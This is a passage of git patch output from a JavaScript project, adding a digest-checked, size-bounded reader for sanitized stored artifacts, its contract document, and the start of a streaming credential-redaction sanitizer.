expectCode(() => store.verifyArtifact(refFor(swapped)), 'artifact_content_conflict'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + } finally { + removeRoot(root); + } +}); + test('truncated, oversized, swapped, and malformed stored state fails verification and restart', async () => { const root = makeStoreRoot(); try { From 210545ceb02392a94ce0c83c0db052d56499dc90 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 21:59:17 +0000 Subject: [PATCH 014/151] feat(v3): add digest-checked sanitized range primitive and reader contract Add a narrow serialized P08 store hook that no-follow opens a regular single-link sanitized artifact, re-validates sidecar, ref, identity, size, and digest, hashes the whole file in fixed chunks while retaining only the requested bounded range, and proves before/after stability. The model-facing reader accepts only an exact sanitized ArtifactRefV1, rejects raw before I/O, validates intrinsic integer offset/range options against the fixed range cap, and returns frozen detached JSON-safe metadata plus bounded base64 selected content. --- .../mcp/v3/artifact-reader.mjs | 156 ++++++++++++++++ .../mcp/v3/artifact-store.mjs | 168 +++++++++++++++++- 2 files changed, 319 insertions(+), 5 deletions(-) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs new file mode 100644 index 0000000..afcc1b3 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs @@ -0,0 +1,156 @@ +// Bounded sanitized artifact reader (ADR 0001 identifiers +// `bounded_evidence`, `sanitized_bounded_evidence_model_facing`, +// Gate A `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for R1-P10. It is the model-facing contract over the +// P08 store's serialized sanitized range-read hook: +// +// 1. Accept only an exact validated sanitized ArtifactRefV1. Raw refs +// are denied before any store I/O. +// 2. Validate bounded intrinsic integer offset/range options against +// fixed range and (later) wire caps. +// 3. In one serialized store operation, no-follow open the regular +// single-link artifact, re-validate sidecar/ref/identity/size/digest, +// hash the whole file in fixed chunks while retaining only the +// requested bounded range, and prove before/after stability. +// 4. Return frozen detached JSON-safe metadata plus the bounded +// selected window as base64. Never expose raw evidence, store roots, +// paths, OS errors, or a whole-file buffer. +// +// This module performs no sanitization and does not import P09 internals. +// It reads P08-published sanitized artifacts only. +// +// Out of scope: P09 sanitizer provenance, MCP registration, provider +// sinks, cleanup, supervisor/server wiring, ArtifactRef schema changes, +// and P11/P12. + +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, + ARTIFACT_STORE_SCHEMA_ID, + readStoredSanitizedRangeV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, +} from './grammar.mjs'; +import { assertAllowedKeys } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_READER_SCHEMA_ID = 'codex-co-engineer.artifact-reader.v1'; + +export const ARTIFACT_READER_MAX_RANGE_BYTES = ARTIFACT_STORE_RANGE_READ_MAX_BYTES; + +export const ARTIFACT_READER_OPTION_KEYS = capturedFreeze(['offset', 'max_bytes']); + +export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ + 'raw_artifact_denied', + 'invalid_type', + 'invalid_format', + 'out_of_range', + 'unknown_key', + 'missing_key', +]); + +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +function diagnostic(message) { + const text = STRING(message ?? ''); + return text.length <= 200 ? text : text.slice(0, 200); +} + +function failReader(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failReader('invalid_type', field, `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failReader('out_of_range', field, `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +function parseSanitizedRef(refInput) { + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failReader('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized ArtifactRefV1 values; raw evidence is owner-only and is not read.'); + } + return snapshot; +} + +export function parseSanitizedReaderOptionsV1(input, path = 'options') { + if (input === undefined) { + return capturedFreeze({ + offset: 0, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + } + assertPlainObject(input, 'invalid_type', path, 'Reader options'); + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_READER_OPTION_KEYS, path); + let offset = 0; + if (hasOwn(input, 'offset')) { + offset = assertIntrinsicNonNegativeInteger( + optOwn(input, 'offset'), `${path}.offset`, 0, MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + ); + } + let maxBytes = ARTIFACT_READER_MAX_RANGE_BYTES; + if (hasOwn(input, 'max_bytes')) { + maxBytes = assertIntrinsicNonNegativeInteger( + optOwn(input, 'max_bytes'), `${path}.max_bytes`, 0, ARTIFACT_READER_MAX_RANGE_BYTES, + ); + } + return capturedFreeze({ offset, max_bytes: maxBytes }); +} + +function pageFromRange(range, options) { + return freezeData({ + schema: ARTIFACT_READER_SCHEMA_ID, + artifact_ref: range.artifact_ref, + namespace: 'sanitized', + byte_length: range.byte_length, + sha256: range.sha256, + ref_digest: artifactRefDigestV1(range.artifact_ref, 'artifact_ref').digest, + offset: range.offset, + max_bytes: options.max_bytes, + selected_byte_length: range.selected_byte_length, + selected_encoding: 'base64', + selected_content: range.selected_content, + }); +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failReader('invalid_type', 'store', 'The artifact store handle was not produced by the artifact store.'); + } + return store; +} + +export async function readSanitizedArtifactV1(store, refInput, options) { + assertStoreHandle(store); + const snapshot = parseSanitizedRef(refInput); + const parsedOptions = parseSanitizedReaderOptionsV1(options); + const range = await readStoredSanitizedRangeV1( + store, snapshot, parsedOptions.offset, parsedOptions.max_bytes, + ); + return pageFromRange(range, parsedOptions); +} + +capturedFreeze(parseSanitizedReaderOptionsV1); +capturedFreeze(readSanitizedArtifactV1); diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 140feb7..307a1b9 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -80,12 +80,22 @@ // operating-system error string. Errors carry stable codes from a closed // vocabulary plus fixed validator-style field labels. // +// A narrow additive serialized range-read hook (readStoredSanitizedRangeV1) +// exists so the P10 model-facing reader can, in one store operation, +// no-follow open a regular single-link sanitized artifact, re-validate +// sidecar/ref/identity/size/digest, hash the whole file in fixed chunks +// while retaining only the requested bounded range, and prove before/after +// stability. The hook never returns raw evidence, never buffers the whole +// artifact, never echoes roots/paths/OS errors, and does not change +// publish, verify, or audit. The model-facing contract, wire cap, and +// truncation metadata live in artifact-reader.mjs. +// // Out of scope and deliberately unclaimed: P09 sanitization/transformation, -// the P10 model-facing bounded reader, the P13 evidence bundle, cleanup and -// garbage collection of any kind, scheduler/provider/supervisor wiring, and -// protected references. A store left torn by a crash stays torn: reopening, -// publishing, verifying, or auditing it fails closed, and only an operator -// action outside this module may remove anything. +// MCP/provider/supervisor wiring of the reader, the P13 evidence bundle, +// cleanup and garbage collection of any kind, and protected references. A +// store left torn by a crash stays torn: reopening, publishing, verifying, +// auditing, or range-reading it fails closed, and only an operator action +// outside this module may remove anything. import { Buffer as NodeBuffer } from 'node:buffer'; import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; @@ -169,6 +179,9 @@ export const MAX_ARTIFACT_STORE_AUDIT_FILES = 1024; export const MAX_ARTIFACT_STORE_AUDIT_BYTES = 67_108_864; export const ARTIFACT_STORE_INGEST_CHUNK_BYTES = 131_072; export const ARTIFACT_STORE_MAX_DEPTH = ARTIFACT_PATH_MAX_SEGMENTS; +// Hard cap on selected bytes retained by the sanitized range-read hook. +// The P10 reader may apply a tighter wire/response cap on top. +export const ARTIFACT_STORE_RANGE_READ_MAX_BYTES = 8_192; // Private unpredictable same-directory temporaries. The name grammar is // reserved: no artifact path may look like a temporary, so verification can @@ -202,6 +215,7 @@ const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; const REFLECT_HAS = Reflect.has; +const REFLECT_APPLY = Reflect.apply; const ARRAY_BUFFER_IS_VIEW = ArrayBuffer.isView; const IS_PROXY = utilTypes.isProxy; const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; @@ -213,6 +227,8 @@ const SYMBOL_ASYNC_ITERATOR = Symbol.asyncIterator; const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; const BUFFER_PROTOTYPE = Buffer.prototype; +const BUFFER_TO_STRING = BUFFER_PROTOTYPE.toString; +const UINT8ARRAY_SET = UINT8ARRAY_PROTOTYPE.set; const OBJECT_PROTOTYPE = Object.prototype; const ASYNC_GENERATOR_PROTOTYPE = OBJECT_GET_PROTOTYPE_OF( Object.getPrototypeOf((async function* () {}).prototype), @@ -929,6 +945,133 @@ async function verifyLocation(rootPath, snapshot) { return locations; } +function assertIntrinsicNonNegativeInteger(value, field, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value)) { + failStore('invalid_type', field, + `${field} must be an intrinsic safe integer.`); + } + if (value < min || value > max) { + failStore('out_of_range', field, + `${field} must be an integer in ${min}..${max}.`); + } + return value; +} + +// Hash one published sanitized artifact in fixed chunks, retain only +// [offset, offset+maxBytes), and prove the file was a regular single-link +// entry whose identity, size, and digest were stable across the read. +// The selected window is copied into a buffer of at most maxBytes; the +// rest of the file is hashed and discarded. +async function readSanitizedRangePrepared(root, snapshot, offset, maxBytes) { + const locations = namespaceLocations(root.path, snapshot.artifact_class, snapshot.relative_path); + const metaOpened = await readBoundedFile(locations.metaTarget, MAX_ARTIFACT_STORE_META_BYTES, 'meta'); + if (metaOpened === null) { + const probe = await openStoredFile(locations.contentTarget); + if (probe !== null) { + await probe.close().catch(() => {}); + failStore('artifact_torn_publication', 'content', + 'Content exists without its sidecar; the publication is torn.'); + } + failStore('artifact_not_found', 'artifact_ref', 'No stored artifact exists for that reference.'); + } + const storedSnapshot = parseMetaDocument(metaOpened.bytes, snapshot.artifact_class, + snapshot.relative_path, 'meta'); + if (canonicalSnapshotText(storedSnapshot) !== canonicalSnapshotText(snapshot)) { + failStore(classifyExistingConflict(storedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + if (storedSnapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'Stored raw evidence is not returned by the sanitized range reader.'); + } + + const cap = maxByteLengthForClass(storedSnapshot.artifact_class); + const opened = await openPublishedContent(locations.contentTarget, cap); + if (opened === null) { + failStore('artifact_torn_publication', 'content', + 'A sidecar exists without content; the publication is torn.'); + } + try { + const before = await opened.handle.stat(); + assertRegularUnsharedFile(before, 'content'); + const size = Number(before.size); + if (!NUMBER_IS_SAFE_INTEGER(size) || size !== storedSnapshot.byte_length) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + if (offset > size) { + failStore('out_of_range', 'offset', + 'The requested range offset is past the end of the stored artifact.'); + } + const remaining = size - offset; + const take = maxBytes < remaining ? maxBytes : remaining; + const selected = BUFFER_ALLOC(take); + const hash = CREATE_HASH('sha256'); + let received = 0; + let filled = 0; + const chunk = BUFFER_ALLOC(ARTIFACT_STORE_INGEST_CHUNK_BYTES); + while (true) { + let read; + try { + read = await opened.handle.read(chunk, 0, chunk.byteLength, null); + } catch { + failStore('artifact_entry_unsafe', 'content', 'Stored artifact bytes could not be read safely.'); + } + if (read.bytesRead === 0) break; + received += read.bytesRead; + if (received > cap) { + failStore('artifact_entry_unsafe', 'content', + `Stored content exceeds the ${cap}-byte class cap.`); + } + const view = chunk.subarray(0, read.bytesRead); + hash.update(view); + if (take > 0) { + const chunkStart = received - read.bytesRead; + const selEnd = offset + take; + const copyFrom = chunkStart > offset ? chunkStart : offset; + const chunkEnd = chunkStart + read.bytesRead; + const copyTo = chunkEnd < selEnd ? chunkEnd : selEnd; + if (copyTo > copyFrom) { + const src = copyFrom - chunkStart; + const dest = copyFrom - offset; + const len = copyTo - copyFrom; + UINT8ARRAY_SET.call(selected, view.subarray(src, src + len), dest); + filled += len; + } + } + } + if (received !== size || filled !== take) { + failStore('artifact_length_mismatch', 'content', + 'Stored content length does not match the declared byte length.'); + } + const digest = hash.digest('hex'); + if (!digestsMatch(digest, storedSnapshot.sha256)) { + failStore('artifact_digest_mismatch', 'content', + 'Stored content does not hash to the declared SHA-256 digest.'); + } + const after = await opened.handle.stat(); + if (!sameIdentity(before, after) + || Number(after.size) !== Number(before.size) + || Number(after.nlink) !== Number(before.nlink) + || Number(after.mode) !== Number(before.mode)) { + failStore('artifact_torn_publication', 'content', + 'The stored document changed while it was read.'); + } + const encoded = REFLECT_APPLY(BUFFER_TO_STRING, selected, ['base64']); + return freezeData({ + artifact_ref: storedSnapshot, + byte_length: received, + sha256: digest, + offset, + selected_byte_length: take, + selected_encoding: 'base64', + selected_content: encoded, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + // ---- Bounded enumeration for audit. -------------------------------------------- async function listDirectoryEntries(directory, field) { @@ -1460,6 +1603,20 @@ export async function verifyStoredArtifactsV1(store, refInputs) { return freezeData(verdicts); } +export async function readStoredSanitizedRangeV1(store, refInput, offset, maxBytes) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + if (snapshot.artifact_class !== 'sanitized') { + failStore('raw_artifact_denied', 'artifact_ref.artifact_class', + 'The bounded reader accepts only sanitized artifacts; raw evidence is owner-only.'); + } + const start = assertIntrinsicNonNegativeInteger(offset, 'offset', 0, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + const window = assertIntrinsicNonNegativeInteger(maxBytes, 'max_bytes', 0, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + return handle.internalOperate((root) => readSanitizedRangePrepared(root, snapshot, start, window)); +} + export async function auditArtifactStoreV1(store) { const handle = assertStoreHandle(store); return handle.internalOperate(async (root) => { @@ -1503,4 +1660,5 @@ capturedFreeze(openArtifactStoreV1); capturedFreeze(publishArtifactV1); capturedFreeze(verifyStoredArtifactV1); capturedFreeze(verifyStoredArtifactsV1); +capturedFreeze(readStoredSanitizedRangeV1); capturedFreeze(auditArtifactStoreV1); From 832016f269141c5d9671f3dd8b60eac63ce0533f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:00:17 +0000 Subject: [PATCH 015/151] feat(v3): tell clipping from unknown upstream truncation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reader pages record whether the range or wire cap shortened the selected window, and they expose more/next_offset for deterministic paging through the sanitized artifact. Source size, redaction count, sanitizer version, completeness, and upstream truncation stay null until P09 provenance exists — never false and never invented as zero. The serialized page is forced under a fixed wire cap. Optional docs/r1-artifact-reader.md states the contract without claiming later slices. --- docs/r1-artifact-reader.md | 70 ++++++++++++++ .../mcp/v3/artifact-reader.mjs | 93 ++++++++++++++++++- 2 files changed, 158 insertions(+), 5 deletions(-) create mode 100644 docs/r1-artifact-reader.md diff --git a/docs/r1-artifact-reader.md b/docs/r1-artifact-reader.md new file mode 100644 index 0000000..eac86c6 --- /dev/null +++ b/docs/r1-artifact-reader.md @@ -0,0 +1,70 @@ +# Bounded sanitized artifact reader (P10) + +Additive v3 contract over the accepted P08 artifact store. The reader is +the model-facing way to fetch a **bounded range** of an already-published +**sanitized** `ArtifactRefV1`. It does not sanitize, does not read raw +evidence, and does not change publish/verify/audit. + +## Entry + +```js +readSanitizedArtifactV1(store, artifactRef, options?) +``` + +- `store` is a handle from `openArtifactStoreV1`. +- `artifactRef` is an exact ten-key sanitized `ArtifactRefV1`. Raw class is + denied before any artifact I/O. +- `options` is omitted, or a direct JSON object with only: + - `offset` — intrinsic safe integer in `0..262144` (default `0`) + - `max_bytes` — intrinsic safe integer in `0..8192` (default `8192`) + +Proxies, accessors, symbol keys, exotic prototypes, and unknown keys fail +closed with the same typed vocabulary as P07/P08. + +## Caps + +| Cap | Value | Role | +| --- | ---: | --- | +| Range | 8192 bytes | Maximum selected artifact bytes retained from the stream | +| Wire | 12288 bytes | Maximum `JSON.stringify` size of one reader page | +| Sanitized class | 262144 bytes | Stored artifact size (P07); the reader never returns this whole | + +The store hashes the **entire** artifact in 128 KiB chunks and copies only +the requested window into an 8192-byte-or-smaller buffer. A whole-file +buffer is never allocated. If the serialized page would exceed the wire +cap, the selected window is shortened until it fits. + +## Page + +Successful results are deep-frozen, detached, and JSON-safe. Selected +bytes are always `selected_encoding: "base64"` so a range that splits a +UTF-8 sequence stays well-formed JSON. + +Clipping vs truncation: + +- `reader_clipped` is `true` only when the reader/wire caps returned fewer + bytes than `min(max_bytes, remaining sanitized bytes)`. +- `more` / `next_offset` describe paging through the **sanitized** artifact. +- `upstream_truncated`, `complete`, `source_byte_length`, + `redaction_count`, and `sanitizer_version` are **unknown** until P09 + provenance exists. They are emitted as `null`, never as `false` or `0`. + +## Fail-closed I/O + +One serialized store operation: + +1. Reopen the private root without following links and structurally audit. +2. No-follow open the regular single-link content file and its sidecar. +3. Require the sidecar snapshot to equal the requested sanitized ref. +4. Hash every byte, retain only `[offset, offset+take)`, and re-stat. +5. Deny digest/length mismatches, same-size tampers, sidecars that + disagree with the ref, symlinks, hardlinks, FIFOs/devices, torn + publications, and mid-read identity changes. + +Errors are `RunContractV1Error` values with stable codes. They never echo +artifact bytes, the store root, a derived path, or an OS error string. + +## Non-goals + +P09 sanitization, ArtifactRef schema changes, MCP registration, provider +sinks, cleanup, supervisor/server wiring, and P11/P12 remain unclaimed. diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs index afcc1b3..f258642 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-reader.mjs @@ -8,7 +8,7 @@ // 1. Accept only an exact validated sanitized ArtifactRefV1. Raw refs // are denied before any store I/O. // 2. Validate bounded intrinsic integer offset/range options against -// fixed range and (later) wire caps. +// fixed range and wire/response caps. // 3. In one serialized store operation, no-follow open the regular // single-link artifact, re-validate sidecar/ref/identity/size/digest, // hash the whole file in fixed chunks while retaining only the @@ -16,6 +16,10 @@ // 4. Return frozen detached JSON-safe metadata plus the bounded // selected window as base64. Never expose raw evidence, store roots, // paths, OS errors, or a whole-file buffer. +// 5. Distinguish reader/wire clipping from upstream sanitizer +// truncation. Until P09 provenance exists, source size, redaction +// count, sanitizer version, and completeness are unknown — never +// false and never invented as zero. // // This module performs no sanitization and does not import P09 internals. // It reads P08-published sanitized artifacts only. @@ -24,6 +28,8 @@ // sinks, cleanup, supervisor/server wiring, ArtifactRef schema changes, // and P11/P12. +import { Buffer as NodeBuffer } from 'node:buffer'; + import { MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, artifactRefDigestV1, @@ -50,9 +56,33 @@ import { export const ARTIFACT_READER_SCHEMA_ID = 'codex-co-engineer.artifact-reader.v1'; export const ARTIFACT_READER_MAX_RANGE_BYTES = ARTIFACT_STORE_RANGE_READ_MAX_BYTES; +// Serialized JSON of one reader page, including selected content, must fit. +export const ARTIFACT_READER_MAX_WIRE_BYTES = 12_288; export const ARTIFACT_READER_OPTION_KEYS = capturedFreeze(['offset', 'max_bytes']); +export const ARTIFACT_READER_PAGE_KEYS = capturedFreeze([ + 'schema', + 'artifact_ref', + 'namespace', + 'byte_length', + 'sha256', + 'ref_digest', + 'offset', + 'max_bytes', + 'selected_byte_length', + 'selected_encoding', + 'selected_content', + 'reader_clipped', + 'more', + 'next_offset', + 'source_byte_length', + 'redaction_count', + 'sanitizer_version', + 'complete', + 'upstream_truncated', +]); + export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ 'raw_artifact_denied', 'invalid_type', @@ -64,6 +94,12 @@ export const ARTIFACT_READER_ERROR_CODES = capturedFreeze([ const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; const STRING = String; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_TO_STRING = NodeBuffer.prototype.toString; +const JSON_STRINGIFY = JSON.stringify; +const MATH_CEIL = Math.ceil; +const REFLECT_APPLY = Reflect.apply; function diagnostic(message) { const text = STRING(message ?? ''); @@ -118,7 +154,24 @@ export function parseSanitizedReaderOptionsV1(input, path = 'options') { return capturedFreeze({ offset, max_bytes: maxBytes }); } -function pageFromRange(range, options) { +function encodeSelected(bytes) { + return REFLECT_APPLY(BUFFER_TO_STRING, bytes, ['base64']); +} + +function decodeSelected(encoded) { + return BUFFER_FROM(encoded, 'base64'); +} + +function requestedTake(range, options) { + const remaining = range.byte_length - range.offset; + return options.max_bytes < remaining ? options.max_bytes : remaining; +} + +function buildPage(range, options, selectedBytes) { + const selectedLength = selectedBytes.byteLength; + const end = range.offset + selectedLength; + const more = end < range.byte_length; + const clipped = selectedLength < requestedTake(range, options); return freezeData({ schema: ARTIFACT_READER_SCHEMA_ID, artifact_ref: range.artifact_ref, @@ -128,12 +181,42 @@ function pageFromRange(range, options) { ref_digest: artifactRefDigestV1(range.artifact_ref, 'artifact_ref').digest, offset: range.offset, max_bytes: options.max_bytes, - selected_byte_length: range.selected_byte_length, + selected_byte_length: selectedLength, selected_encoding: 'base64', - selected_content: range.selected_content, + selected_content: encodeSelected(selectedBytes), + reader_clipped: clipped === true, + more: more === true, + next_offset: more ? end : null, + source_byte_length: null, + redaction_count: null, + sanitizer_version: null, + complete: null, + upstream_truncated: null, }); } +function fitToWireCap(range, options) { + let selected = decodeSelected(range.selected_content); + if (selected.byteLength !== range.selected_byte_length) { + failReader('invalid_format', 'selected_content', + 'The range primitive returned a selected window whose encoding did not round-trip.'); + } + while (true) { + const page = buildPage(range, options, selected); + const wire = BUFFER_BYTE_LENGTH(JSON_STRINGIFY(page), 'utf8'); + if (wire <= ARTIFACT_READER_MAX_WIRE_BYTES) return page; + if (selected.byteLength === 0) { + failReader('out_of_range', 'options', + 'The reader response exceeds the wire cap even with no selected content.'); + } + const over = wire - ARTIFACT_READER_MAX_WIRE_BYTES; + let shrink = MATH_CEIL((over * 3) / 4); + if (shrink < 1) shrink = 1; + if (shrink > selected.byteLength) shrink = selected.byteLength; + selected = selected.subarray(0, selected.byteLength - shrink); + } +} + function assertStoreHandle(store) { assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { @@ -149,7 +232,7 @@ export async function readSanitizedArtifactV1(store, refInput, options) { const range = await readStoredSanitizedRangeV1( store, snapshot, parsedOptions.offset, parsedOptions.max_bytes, ); - return pageFromRange(range, parsedOptions); + return fitToWireCap(range, parsedOptions); } capturedFreeze(parseSanitizedReaderOptionsV1); From b16151952e6238f6236443e7c5122107ff4f7dda Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:04:31 +0000 Subject: [PATCH 016/151] feat(redaction): stream sanitized artifact content Add a fixed-version P09 sanitizer/writer that accepts only intrinsic byte views or a bounded async iterable of those views, incrementally UTF-8-decodes identity-encoded text, applies one built-in bounded redaction policy, and publishes raw plus sanitized artifacts through the accepted P08 public store APIs. Caps, declared digest/length, and class separation fail closed without clipping or reading stored raw bytes; provenance is frozen and content-free. --- .../mcp/v3/artifact-sanitizer.mjs | 575 ++++++++++++++++++ .../r1-artifact-sanitizer-fixtures.mjs | 259 ++++++++ .../test/r1-artifact-sanitizer.test.mjs | 326 ++++++++++ 3 files changed, 1160 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs new file mode 100644 index 0000000..7d24bd2 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -0,0 +1,575 @@ +// Streaming artifact sanitizer/writer (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, Gate A +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W5-P09. It is a fixed-version writer that accepts +// only a caller-bound intrinsic Buffer/Uint8Array view or a bounded async +// iterable of such views, incrementally UTF-8-decodes the source, applies +// one built-in bounded redaction policy, and publishes BOTH the raw source +// and the sanitized projection through the accepted P08 public store APIs. +// P08 has no raw reader: this module never opens artifact content, never +// walks the store tree, and never invents an unchecked derivation from a +// stored digest. The live caller-bound stream is the only source of bytes. +// +// Contract: +// - Source hardening matches P08: proxies (live or revoked), subclasses, +// SharedArrayBuffer-backed views, accessor-dressed iterables, strings, +// and arbitrary class instances (including Node streams) are denied +// before a byte is read. Every yielded chunk is re-proved intrinsic. +// - Only identity-encoded text media types are sanitized +// (text/plain, text/markdown, application/json, application/x-ndjson). +// application/octet-stream and base64 are refused. +// - The source ArtifactRefV1 must be class "raw". Declared length/digest +// are untrusted claims, hashed from the live stream, and must match +// before anything is published. +// - Incremental UTF-8 decode uses a streaming decoder so a multi-byte +// sequence that straddles ingest chunks is preserved; malformed input +// becomes U+FFFD deterministically. The raw artifact is never retained +// as a whole: ingest slices, a finite decoder carry, and a finite +// redaction overlap are the only live windows. +// - Redaction is a closed built-in policy (credential formats, bearer +// credentials, env assignments, URL credentials, bounded prompt +// removal). Callers cannot supply regex, code, or extra patterns. +// Secrets that straddle chunk boundaries are detected with a finite +// overlap; matches are never split across an emit boundary. +// - Raw 32 MiB and sanitized 256 KiB caps are fail-closed. Crossing +// either cap throws before P08 can commit; the writer never clips. +// - source_truncated is caller-declared provenance. This module does +// not infer truncation from size and does not clip toward the cap. +// - Publication uses only publishArtifactV1 / verifyStoredArtifactV1. +// A stream is safely teed: P08 consumes the inspected iterable while +// the sanitizer hashes, decodes, and redacts the same chunks. A +// buffer source is sanitized first, then both classes are published. +// Replay, conflict, digest, length, and class-separation guarantees +// are exactly P08's. +// - The return is detached deep-frozen content-free provenance: sanitizer +// version, source digest/length, sanitized ref/digest/length, bounded +// redaction counts, and completeness/truncation. Artifact bytes, the +// store root, and OS errors are never echoed. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + ARTIFACT_REF_SCHEMA_ID, + CONTENT_ENCODINGS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MIN_ARTIFACT_BYTE_LENGTH, + parseArtifactRefV1, +} from './artifact-ref.mjs'; +import { + publishArtifactV1, + verifyStoredArtifactV1, +} from './artifact-store.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const ARTIFACT_SANITIZER_SCHEMA_ID = 'codex-co-engineer.artifact-sanitizer.v1'; +export const ARTIFACT_SANITIZER_VERSION = 1; +export const ARTIFACT_SANITIZER_POLICY_ID = 'codex-co-engineer.artifact-redaction.v1'; + +export const SANITIZER_MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); + +export const SANITIZER_CONTENT_ENCODING = 'identity'; + +export const ARTIFACT_SANITIZER_INGEST_CHUNK_BYTES = 65_536; +export const ARTIFACT_SANITIZER_OVERLAP_CHARS = 8_192; +export const ARTIFACT_SANITIZER_REPLACEMENT = '[REDACTED]'; + +export const REDACTION_KINDS = capturedFreeze([ + 'credential_formats', + 'bearer_credentials', + 'env_assignments', + 'url_credentials', + 'prompts', +]); + +export const ARTIFACT_SANITIZER_ERROR_CODES = capturedFreeze([ + 'artifact_digest_mismatch', + 'artifact_length_mismatch', + 'artifact_stream_failed', + 'artifact_stream_invalid_chunk', + 'artifact_stream_invalid_source', + 'artifact_stream_over_cap', + 'invalid_type', + 'missing_key', + 'sanitizer_content_encoding_denied', + 'sanitizer_empty_output', + 'sanitizer_media_type_denied', + 'unknown_artifact_class', + 'unknown_key', +]); + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CREATE_HASH = createHash; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const TEXT_DECODER_CTOR = TextDecoder; +const STRING = String; +const OBJECT_GET_PROTOTYPE_OF = Object.getPrototypeOf; +const OBJECT_GET_OWN_PROPERTY_DESCRIPTOR = Object.getOwnPropertyDescriptor; +const REFLECT_HAS = Reflect.has; +const ARRAY_BUFFER_IS_VIEW = 